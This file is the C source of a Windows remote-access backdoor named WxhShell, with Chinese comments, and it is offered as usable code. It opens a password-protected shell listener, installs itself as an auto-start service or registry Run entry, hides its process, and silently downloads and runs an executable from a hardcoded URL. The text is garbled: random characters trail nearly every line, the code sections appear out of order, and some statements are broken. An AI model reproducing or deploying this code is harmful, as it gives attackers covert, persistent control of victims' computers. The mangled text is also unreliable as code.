    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *a\x!c"  
    if(Boot(SHUTDOWN)) /*fx`0mY)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G)NqIur*Z  
    else { nM &a2Z,T  
    closesocket(wsh); e<=Nd,v4;  
    ExitThread(0); g|| q 3  
    } cE`qfz  
    break; YKU|D32  
    } $-pijBiz_  
  // 获取shell x 2&5zp  
  case 's': { 9eHqOmz  
    CmdShell(wsh); 4@\$k+v  
    closesocket(wsh); zi`q([  
    ExitThread(0); > r(`4M:  
    break; _i7yyt;h  
  } ji4bz#/B0  
  // 退出 lY@2$q9BT  
  case 'x': { `5oXf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2i #Ekon  
    CloseIt(wsh); 4zhh **]B  
    break; 2f%+1uU  
    } O>vCi&  
  // 离开 Hp ;$fQ  
  case 'q': { ucz~y! 4L{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'lpCwH  
    closesocket(wsh); WQN`y>1#@_  
    WSACleanup(); ?8s$RYp14  
    exit(1); 5`e;l$ M`  
    break; ](n)bF+ym  
        } y"7*u 3>"  
  } p`\>GWuT!  
  }  _}JMBIq$  
T YR \K  
  // 提示信息 9^H.[t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h,&{m*q&  
} 4Ng:7C2  
  } jHE^d<=O^  
z#`Qfvu6Hi  
  return; tUOY`]0  
} l+&DBw[  
Zw{?^6;cS  
// shell模块句柄 GNuIcy  
int CmdShell(SOCKET sock) j -"34  
{ +Tx_q1/f5X  
STARTUPINFO si; `ItoL7bi  
ZeroMemory(&si,sizeof(si)); kzK9 .  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m##!sF^k~J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KrG,T5  
PROCESS_INFORMATION ProcessInfo; NhTJB7  
char cmdline[]="cmd"; >iG3!Td)y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -@]b7J?`k  
  return 0; 6!itr"  
} 6XCFL-o-  
Ja&S_'P[  
// 自身启动模式 hW!n"qU  
int StartFromService(void) #1*7eANfr  
{ O<|pw  
typedef struct 5wAKA`p"z  
{ ! N!pvK;  
  DWORD ExitStatus; r: >RH,  
  DWORD PebBaseAddress; ,UVu.RjXN  
  DWORD AffinityMask; K8 [Um!(  
  DWORD BasePriority; ='+I dn#5  
  ULONG UniqueProcessId; !"RRw&0M  
  ULONG InheritedFromUniqueProcessId; [742s]j  
}   PROCESS_BASIC_INFORMATION; Nr*X1lJ6  
0!0o[3*  
PROCNTQSIP NtQueryInformationProcess; 2v@B7r4}  
] `q]n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kMLJa=]$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tEo-Mj5:  
NMhpKno  
  HANDLE             hProcess; Pe\Obd8d  
  PROCESS_BASIC_INFORMATION pbi; 2T?Y  
T fIOS]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [Pjitw/?  
  if(NULL == hInst ) return 0; v#s*I/kw  
z6B#F<h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W)T'?b'.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b]xoXC6@t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KkpbZ7\@  
>O rIY  
  if (!NtQueryInformationProcess) return 0; zv;xxAX  
[N9yW uc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0&CXR=U5  
  if(!hProcess) return 0; [kxOv7a  
[~\]<;;\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IqepR >5t  
PXtF#,roP  
  CloseHandle(hProcess); 3X DU(#  
~G=E Q]a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v)gMNzt  
if(hProcess==NULL) return 0; @K*W3&TO  
B@dCCKc%/  
HMODULE hMod; ^"=G=* /  
char procName[255]; 9v-Y*\!w.  
unsigned long cbNeeded; /~;!Ew|q  
kkb+qo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J}8p}8eF,  
O(=9&PRi  
  CloseHandle(hProcess); ]&D= *:c  
r1vS~ 4Z  
if(strstr(procName,"services")) return 1; // 以服务启动 |nLq 4.  
p"jze3mF  
  return 0; // 注册表启动 i_r708ep6  
} jpZq]E9`P  
' i5KRFy-  
// 主模块 u=]*,,5<  
int StartWxhshell(LPSTR lpCmdLine) yk5K8D[tV  
{ < Mu`,Kv*  
  SOCKET wsl; ;Sg.E 8  
BOOL val=TRUE; m0h,!  
  int port=0; 52#6uBe  
  struct sockaddr_in door; m2l9([u=^  
)wD/<7;  
  if(wscfg.ws_autoins) Install(); _ gYj@ %  
_Ds,91<muQ  
port=atoi(lpCmdLine); A! HJ  
Kj3Gm>B<y  
if(port<=0) port=wscfg.ws_port; Ac|dmu  
%t!S 7UD  
  WSADATA data; .o C! ~'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YtWw)IK  
!plu;w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OQ wO7Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y[R>?w  
  door.sin_family = AF_INET; OyK#Rm2A=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eu_ZsseZ  
  door.sin_port = htons(port); ]sVWQj  
I"lzOD; eI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8{i}^.p  
closesocket(wsl); ?r8hl.Z>  
return 1; X?< L<:.  
} Qyx~={ .C~  
@b^$h:H  
  if(listen(wsl,2) == INVALID_SOCKET) { 4L{]!dox  
closesocket(wsl); HOPy&Fp  
return 1; x@bqPZ t  
} oZ tCx  
  Wxhshell(wsl); whHuV*K}  
  WSACleanup(); f>ktv76  
g:y4C6b  
return 0; `0M6<e]C  
k[a<KbS  
} {}Is&^3Z  
~a`  xI  
// 以NT服务方式启动 +5Dc5Bl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y0EX{oxt1  
{ a L+>XN  
DWORD   status = 0; 5*YvgB;  
  DWORD   specificError = 0xfffffff; m0v .[61  
M | "'`zc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q6nRk~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0hGmOUO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?vAhDD5  
  serviceStatus.dwWin32ExitCode     = 0; vF'>?O?  
  serviceStatus.dwServiceSpecificExitCode = 0; ;sAGTq  
  serviceStatus.dwCheckPoint       = 0; wik<# ke  
  serviceStatus.dwWaitHint       = 0; C|3Xz[k{  
ZxT E(BQv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BQg3+w:>  
  if (hServiceStatusHandle==0) return; &V (6N%A^U  
`Z5dRLrd  
status = GetLastError(); mR XR uK  
  if (status!=NO_ERROR) x`@`y7(  
{ $)o0{HsL+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Mz2TwU_  
    serviceStatus.dwCheckPoint       = 0; .RFH@''  
    serviceStatus.dwWaitHint       = 0; >8OY6wb  
    serviceStatus.dwWin32ExitCode     = status; 5.&)hmpg  
    serviceStatus.dwServiceSpecificExitCode = specificError; vGh>1U:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2/s42 FoG  
    return; Jkbeh.  
  } (g X8iKl  
WR"1d\m:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :0 n+RL*5  
  serviceStatus.dwCheckPoint       = 0; |D/a}Av>B  
  serviceStatus.dwWaitHint       = 0; $^{#hYq)o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Tjrb.+cua  
} G&1bhi52  
"uIaKb  
// 处理NT服务事件,比如:启动、停止 c};%VB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z/?{{}H+  
{ FE,mUpHIR  
switch(fdwControl) ?jlz:Z4  
{ OM\1TD/-  
case SERVICE_CONTROL_STOP: S-gO  
  serviceStatus.dwWin32ExitCode = 0; @/^mFqr2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zN]%p>,)HB  
  serviceStatus.dwCheckPoint   = 0; jTt9;?)  
  serviceStatus.dwWaitHint     = 0; 0!lWxS0#=  
  { !Pnjr T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ! {G0'   
  } `m<O!I"A  
  return; 3Zd,"/RH  
case SERVICE_CONTROL_PAUSE: zN[& iKf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,z/aT6M?H  
  break; E/%"%&`8j  
case SERVICE_CONTROL_CONTINUE: YT(Eh3ID  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C]5 kQ1Og  
  break; kV?fie<\)  
case SERVICE_CONTROL_INTERROGATE: Bz-jy.  
  break; v=lW5%r,'  
}; H~Vf;k>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6V JudNA  
} $'Mf$h  
s*yl& El/  
// 标准应用程序主函数 +#BOWz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^ `Ozw^~  
{ t&{;6MiE  
\-;f<%+  
// 获取操作系统版本 7(.Z8AO  
OsIsNt=GetOsVer(); X`Q+,tx$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I(pq3_9$  
x@rQ7K>  
  // 从命令行安装 , %z HykP  
  if(strpbrk(lpCmdLine,"iI")) Install(); D0p*Sg  
wv{ Qx^  
  // 下载执行文件 C2v_] ,]  
if(wscfg.ws_downexe) { !.mR]El{K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I]e+5 E0  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;]=w6'dP!  
} ,7)hrA$(  
Yn= "vpM1  
if(!OsIsNt) { d:K\W[$Bz  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z8xB a0  
HideProc(); .06D_L"M  
StartWxhshell(lpCmdLine); =ejU(1 g  
} T Q4L~8  
else Ri"hU/H{  
  if(StartFromService()) lN g){3  
  // 以服务方式启动 LiT%d  
  StartServiceCtrlDispatcher(DispatchTable); A2M( ad  
else d8jH?P-"  
  // 普通方式启动 naf ~#==vc  
  StartWxhshell(lpCmdLine); ySO\9#Ho  
13 #ff  
return 0; .UL 2(0  
} >iOf3I-ATt  
z6E =%-`  
A3_p*n@  
Bgc]t  
=========================================== <F0^+Pf/  
>;c);|'}q  
[q[37;ZEQ  
g_syGQ\  
={P`Tve  
[ZSC]w^  
" Dbn344s  
#'s$6gT=  
#include <stdio.h> kpn|C 9r  
#include <string.h> ANu>*  
#include <windows.h> [h;I)ug[o(  
#include <winsock2.h> PtW2S 1?j  
#include <winsvc.h> m#RJRuZ|2V  
#include <urlmon.h> `K.B`  
(Fzy8 s  
#pragma comment (lib, "Ws2_32.lib") 96V8R<   
#pragma comment (lib, "urlmon.lib") 'A:Y&w"r  
:\"0jQ.y|  
#define MAX_USER   100 // 最大客户端连接数 )f:i4.M  
#define BUF_SOCK   200 // sock buffer 2\1+M)  
#define KEY_BUFF   255 // 输入 buffer '|ntwK*f  
I{(!h90  
#define REBOOT     0   // 重启 lgU!D |v  
#define SHUTDOWN   1   // 关机 cHFW"g78  
xE<H@@w  
#define DEF_PORT   5000 // 监听端口 ~-7/9$ay5  
Ex p ?x  
#define REG_LEN     16   // 注册表键长度 hp'oiR;~w  
#define SVC_LEN     80   // NT服务名长度 = exCpW>  
%BkE %ZcZ  
// 从dll定义API uKk#V6t#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N { oVz],  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F:ycV~bE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?(=|!`IoO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :gwmk9LZ  
KZ7B2  
// wxhshell配置信息 ?tjEXg>ny  
struct WSCFG { M+ %O-B  
  int ws_port;         // 监听端口 (rBsh6@)  
  char ws_passstr[REG_LEN]; // 口令 ]z^jz#>um&  
  int ws_autoins;       // 安装标记, 1=yes 0=no F7JO/U^oU  
  char ws_regname[REG_LEN]; // 注册表键名 :;e OhZ=_  
  char ws_svcname[REG_LEN]; // 服务名 9S]pC?N]E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jJiuq#;T3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LvG$J*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 % E1r{`p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ly2,*\7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y0,{fw<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1sj7]G]`k  
*b) (-#w3  
}; x&;AY  
$mGzJ4&  
// default Wxhshell configuration VX.LL 5  
struct WSCFG wscfg={DEF_PORT, Bn&P@C$7  
    "xuhuanlingzhe", 8m iJQIq  
    1, sX~E ~$_g  
    "Wxhshell", QZvQ8  
    "Wxhshell", {k.:DH)  
            "WxhShell Service", fKY-@B[|  
    "Wrsky Windows CmdShell Service", 7Fo^ :"  
    "Please Input Your Password: ", ?{TWsuP7  
  1, \2y/:  
  "http://www.wrsky.com/wxhshell.exe", ,V9qiu=m   
  "Wxhshell.exe" uZn_*_J!  
    }; j_90iP^5:  
Zb1GR5MB`k  
// 消息定义模块 PdO"e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (}X5*BB&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L%v@|COQ3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]j7`3%4uK  
char *msg_ws_ext="\n\rExit."; qLL rR,:  
char *msg_ws_end="\n\rQuit.";  <Y"RsW9  
char *msg_ws_boot="\n\rReboot..."; F(`|-E"E;  
char *msg_ws_poff="\n\rShutdown..."; np^&cY]  
char *msg_ws_down="\n\rSave to "; b_ ZvI\H  
a.%ps:  
char *msg_ws_err="\n\rErr!"; fU$Jh/#":  
char *msg_ws_ok="\n\rOK!"; P I"KY@>H  
ZUHW*U.  
char ExeFile[MAX_PATH]; @~hy'6/  
int nUser = 0; 9]=J+ (M  
HANDLE handles[MAX_USER]; Ql5bjlQdO  
int OsIsNt; o i'iZX  
),N,!15j,  
SERVICE_STATUS       serviceStatus; %W D^0U|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g$GGo[_0  
:} =lE"2  
// 函数声明 O/#3QK  
int Install(void); 9~~NxWY%x  
int Uninstall(void); 1<m`38'  
int DownloadFile(char *sURL, SOCKET wsh); L-?ty@-i  
int Boot(int flag); x*z&#[(0g!  
void HideProc(void); Jt]RU+TB  
int GetOsVer(void); QYo04`Rl  
int Wxhshell(SOCKET wsl); :& Dv!z  
void TalkWithClient(void *cs); kfas4mkc  
int CmdShell(SOCKET sock); *.nSv@F  
int StartFromService(void); aWTurnee^  
int StartWxhshell(LPSTR lpCmdLine); ZJs~,Q  
D1y`J&A>Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^?Xs!kJP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bxh-#x &  
<1I4JPh>x  
// 数据结构和表定义 f{VV U/$  
SERVICE_TABLE_ENTRY DispatchTable[] = H3$py|}lL  
{ A!!!7tj  
{wscfg.ws_svcname, NTServiceMain}, xT&~{,9  
{NULL, NULL} .\$A7DD+A  
}; O1o>eDE5A  
Wx-0Ip'9  
// 自我安装 !~C%0{9+u@  
int Install(void) Nxt:U{`T'  
{ _}p [(sTV  
  char svExeFile[MAX_PATH]; >+7{PF+sB  
  HKEY key; ] hK}ASC  
  strcpy(svExeFile,ExeFile); Mu/(Xp62  
:u9'ZHkZ  
// 如果是win9x系统,修改注册表设为自启动 DQ+6VPc^o  
if(!OsIsNt) { \l(J6Tu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8zeeC eIU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >6Uc|D  
  RegCloseKey(key); ')q4d0B`"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JqO1 a?H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I;JV-jDM  
  RegCloseKey(key); i;{lY1  
  return 0; '/qy_7O  
    } d%k7n+ICQ4  
  } \}h   
} }h Wv  p  
else { &u&WP  
cy@R i#  
// 如果是NT以上系统,安装为系统服务 -B-G$ii  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ka!w\v  
if (schSCManager!=0) }y*D(`  
{ R4 eu,,J  
  SC_HANDLE schService = CreateService U:8] G  
  ( z0LspRaz  
  schSCManager, vW eg1  
  wscfg.ws_svcname, $i+@vbU6  
  wscfg.ws_svcdisp, dz+!yE\f$  
  SERVICE_ALL_ACCESS, NUVKAAgMX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $)NS]wJ]3  
  SERVICE_AUTO_START, O0jOI3/P%  
  SERVICE_ERROR_NORMAL,  mhrF9&s  
  svExeFile, 0'6ai=W  
  NULL, v@QnS  
  NULL, MuMq%uDA"  
  NULL, &G_#=t&  
  NULL, LQk^l`  
  NULL LTS{[(%  
  ); P9 HKev?y  
  if (schService!=0) M7?ktK9`ma  
  { P6kD tUXF  
  CloseServiceHandle(schService); h=`$ec  
  CloseServiceHandle(schSCManager); 'i$. _Tx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gk| % 4.  
  strcat(svExeFile,wscfg.ws_svcname); !`N:.+DT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y _`JS;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z4_B/Q  
  RegCloseKey(key); ?WXftzdf6u  
  return 0; S|| W  
    } \azMF}mb  
  } D)x^?!  
  CloseServiceHandle(schSCManager); _fZec+oM  
} h(yFr/  
} ^z!=,M<+{  
BA1H)%  
return 1; L }{3_/t  
} pW.WJ`Rk  
octQ[QXo#  
// 自我卸载 94&t0j_  
int Uninstall(void) .F$}a%  
{ F8<G9#%s\  
  HKEY key; ByP<-Deh  
!0hyp |F:>  
if(!OsIsNt) { ,Tar?&C:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~vt*%GN3  
  RegDeleteValue(key,wscfg.ws_regname); n.c0G`  
  RegCloseKey(key); '8zd]U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7+f6?  
  RegDeleteValue(key,wscfg.ws_regname); [err$  
  RegCloseKey(key); R.WB.FP  
  return 0; d #1& "(   
  } 40MKf/9  
} \:Tq0|]Px  
} 'z,kxra|n  
else { \5&Mg81  
R98YGW_ dT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zAM9%W2v_  
if (schSCManager!=0) @~s5{4  
{ *(5;5r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @!oN]0`F;  
  if (schService!=0) \( V1-,  
  { I,#E`)  
  if(DeleteService(schService)!=0) { ZKrK >X  
  CloseServiceHandle(schService); \?t8[N\_[(  
  CloseServiceHandle(schSCManager); kOo  Vqu  
  return 0; T8\@CV!  
  } mK$E&,OkA  
  CloseServiceHandle(schService); _4) t  
  } KRlJKd{  
  CloseServiceHandle(schSCManager); 8tSY|ME  
} oQh;lb  
} r=3`Eb"t  
0~ nCT&V  
return 1; Z<>gx m<  
} 7r?,wM  
Y>aVnixx<  
// 从指定url下载文件 U/{t "e  
int DownloadFile(char *sURL, SOCKET wsh) sryA(V  
{ Xh}q/H<  
  HRESULT hr; USEmD5q  
char seps[]= "/"; {M:/HQo  
char *token; <%3fJt-Ie  
char *file; CC!`fX6z>h  
char myURL[MAX_PATH]; Dti-*LB1  
char myFILE[MAX_PATH]; PTe$dPB  
5P<1I7d  
strcpy(myURL,sURL); 0vLx={i  
  token=strtok(myURL,seps); V<|N}8{Z2a  
  while(token!=NULL) pSC{0Y$g  
  { ~rO&Y{aG#  
    file=token; r6\g #}  
  token=strtok(NULL,seps); DZL(G [  
  } i 7T#WfF  
}2S!;swg+  
GetCurrentDirectory(MAX_PATH,myFILE); !]s=9(O  
strcat(myFILE, "\\"); <<S4l~"o  
strcat(myFILE, file); cd,'37pZ  
  send(wsh,myFILE,strlen(myFILE),0); cHr]{@7Cs  
send(wsh,"...",3,0); YIW9z{rrs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XsJ`x  
  if(hr==S_OK) d(t)8k$  
return 0; H#GR*4x  
else pW8?EGO@  
return 1; -SD:G]un  
jA?[*HB  
} }Y.@:v j  
5YPIv-  
// 系统电源模块 n1|]ji[c  
int Boot(int flag) +7OE,RoQ  
{ W:n\,P  
  HANDLE hToken; ;C o"bP's  
  TOKEN_PRIVILEGES tkp; )?&mCI*  
o7+<sL  
  if(OsIsNt) { bS:$VyH6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h{-en50tN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); } %0 w25  
    tkp.PrivilegeCount = 1; *{5}m(5F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `m1stK(PO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {=I,+[(  
if(flag==REBOOT) { exSwx-zxI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "fNv(> -7s  
  return 0; jS3@Z?x?*  
} o/ \o -kC}  
else { 6flO;d/v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B YB9M  
  return 0; Ap\]v2G  
} 3@eI? (N  
  } ~7}no}7  
  else { sR PQr ?  
if(flag==REBOOT) { _d~GY,WTdO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n3J,`1*ct  
  return 0; lbIW1z%:sy  
} {DvWa|  
else { ^{yb4yQ 0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >/.jB/q  
  return 0; J.2BBy  
} wMF1HT<*  
} 2\$<&]q  
}1CO>a<  
return 1; hHw1<! M  
} aAoAjVNkK  
u (r T2  
// win9x进程隐藏模块 WR.7%U';  
void HideProc(void) Zq1> M'V;  
{ UBM8l  
.O~rAu*K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b,HXD~=  
  if ( hKernel != NULL ) &C,]c#-+  
  {  H!y@.W{_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YA8/TFu<_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Tz& cm =  
    FreeLibrary(hKernel); BI#(L={5  
  } ?b^<Tny  
2 (ux  
return; )CL/%I,^  
} cv_O2Q4,@  
cP/(h  
// 获取操作系统版本 ZMyd+C_P2  
int GetOsVer(void) c:z}$DK&'  
{ Y=pRenV'  
  OSVERSIONINFO winfo; qy\SOA h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E.VEW;=  
  GetVersionEx(&winfo); ,,9vk\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %u|Qh/?7  
  return 1; QIN# \  
  else Grd9yLF  
  return 0; `n|k+tsC  
} IfRrl/!nw  
%ULd_ES^  
// 客户端句柄模块 ?K}KSJ6_  
int Wxhshell(SOCKET wsl) JLyFk V/  
{ 84Hm PPt  
  SOCKET wsh; WFeaX7\b  
  struct sockaddr_in client; 5U<o%+^El  
  DWORD myID; A]V<K[9:b  
;NJM3g0I  
  while(nUser<MAX_USER) H~hAm  
{ 1nLFtiki  
  int nSize=sizeof(client); f'Xz4;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^n]?!BdU  
  if(wsh==INVALID_SOCKET) return 1; 78b9Sdi&  
MT&q~jx*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \v9<L'NP)  
if(handles[nUser]==0) e8]mdU{)  
  closesocket(wsh); H~*[v"  
else &P8Q|A-u  
  nUser++; x2f_>tu2  
  } T?5F0WKi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `+r5I5  
IZ4jFgpR  
  return 0; 8J9o$Se  
} yFP#z5G  
.Qj`_q6=  
// 关闭 socket 0Zl1(;hx@  
void CloseIt(SOCKET wsh) i%B$p0U<  
{ tQ?}x#J  
closesocket(wsh); \=~<I  
nUser--; ':]w  
ExitThread(0); !lB,2_  
} q%^gG03.  
}W%}_UT  
// 客户端请求句柄 Ipmr@%~  
void TalkWithClient(void *cs) ==j3 9  
{ Y.Ew;\6U  
Y!s/uvRI  
  SOCKET wsh=(SOCKET)cs; V'?nS&,i  
  char pwd[SVC_LEN]; 5 4LCoG/  
  char cmd[KEY_BUFF]; 9zd)[4%=  
char chr[1]; (C QgT3V  
int i,j; J.`.lQ$z  
*XzUqK  
  while (nUser < MAX_USER) { u09OnP\  
kp;MNRc  
if(wscfg.ws_passstr) { Z#W`0G>'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L,X6L @Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^jhHaN]G^  
  //ZeroMemory(pwd,KEY_BUFF); 7y`~T+  
      i=0; 2W~2Hk=0+%  
  while(i<SVC_LEN) { TT&!WbA-Hk  
o_$r*Z|HG  
  // 设置超时 RMrt4:-DI  
  fd_set FdRead; gA) F  
  struct timeval TimeOut; qx? lCz a"  
  FD_ZERO(&FdRead); en~(XE1  
  FD_SET(wsh,&FdRead); cRfX  
  TimeOut.tv_sec=8; s^v,i CH {  
  TimeOut.tv_usec=0; B'0Il"g'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y2D) $  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -s!PO;qm  
$fvUb_n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cE]kI,Fw,M  
  pwd=chr[0]; 6ensNr~ea  
  if(chr[0]==0xd || chr[0]==0xa) { `")  I[h  
  pwd=0; E0h!%/+-L  
  break; kI;^V  
  } WK^qYfq|  
  i++; 1!NaOfP;@  
    } dX3> j{_  
%E!0,y,:  
  // 如果是非法用户,关闭 socket fu&]t8MJC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5Np.&  
} XZT( :(  
Wl2>U(lj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [E/3&3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mo<p+*8u:  
%`\{Nx k  
while(1) { nz&JG~Qfm  
J/*[wj  
  ZeroMemory(cmd,KEY_BUFF); e O}mZN  
&\K#UVDyhh  
      // 自动支持客户端 telnet标准   Bms?`7}N  
  j=0; ,?f(~<Aj  
  while(j<KEY_BUFF) { V)Xcn'h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zj)[Sn tn?  
  cmd[j]=chr[0]; DpR%s",Q  
  if(chr[0]==0xa || chr[0]==0xd) { i! nl%%  
  cmd[j]=0; %?$"oWmenS  
  break; JZ7-? o  
  } p5'\< gQ  
  j++; u60l-  
    } %~[F^  
- |'wDf?H  
  // 下载文件 1f:k:Y9i  
  if(strstr(cmd,"http://")) { vT~a}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =w5w=qB  
  if(DownloadFile(cmd,wsh)) rYqvG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2gv(`NKYE  
  else hv)($;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dA~6{*)  
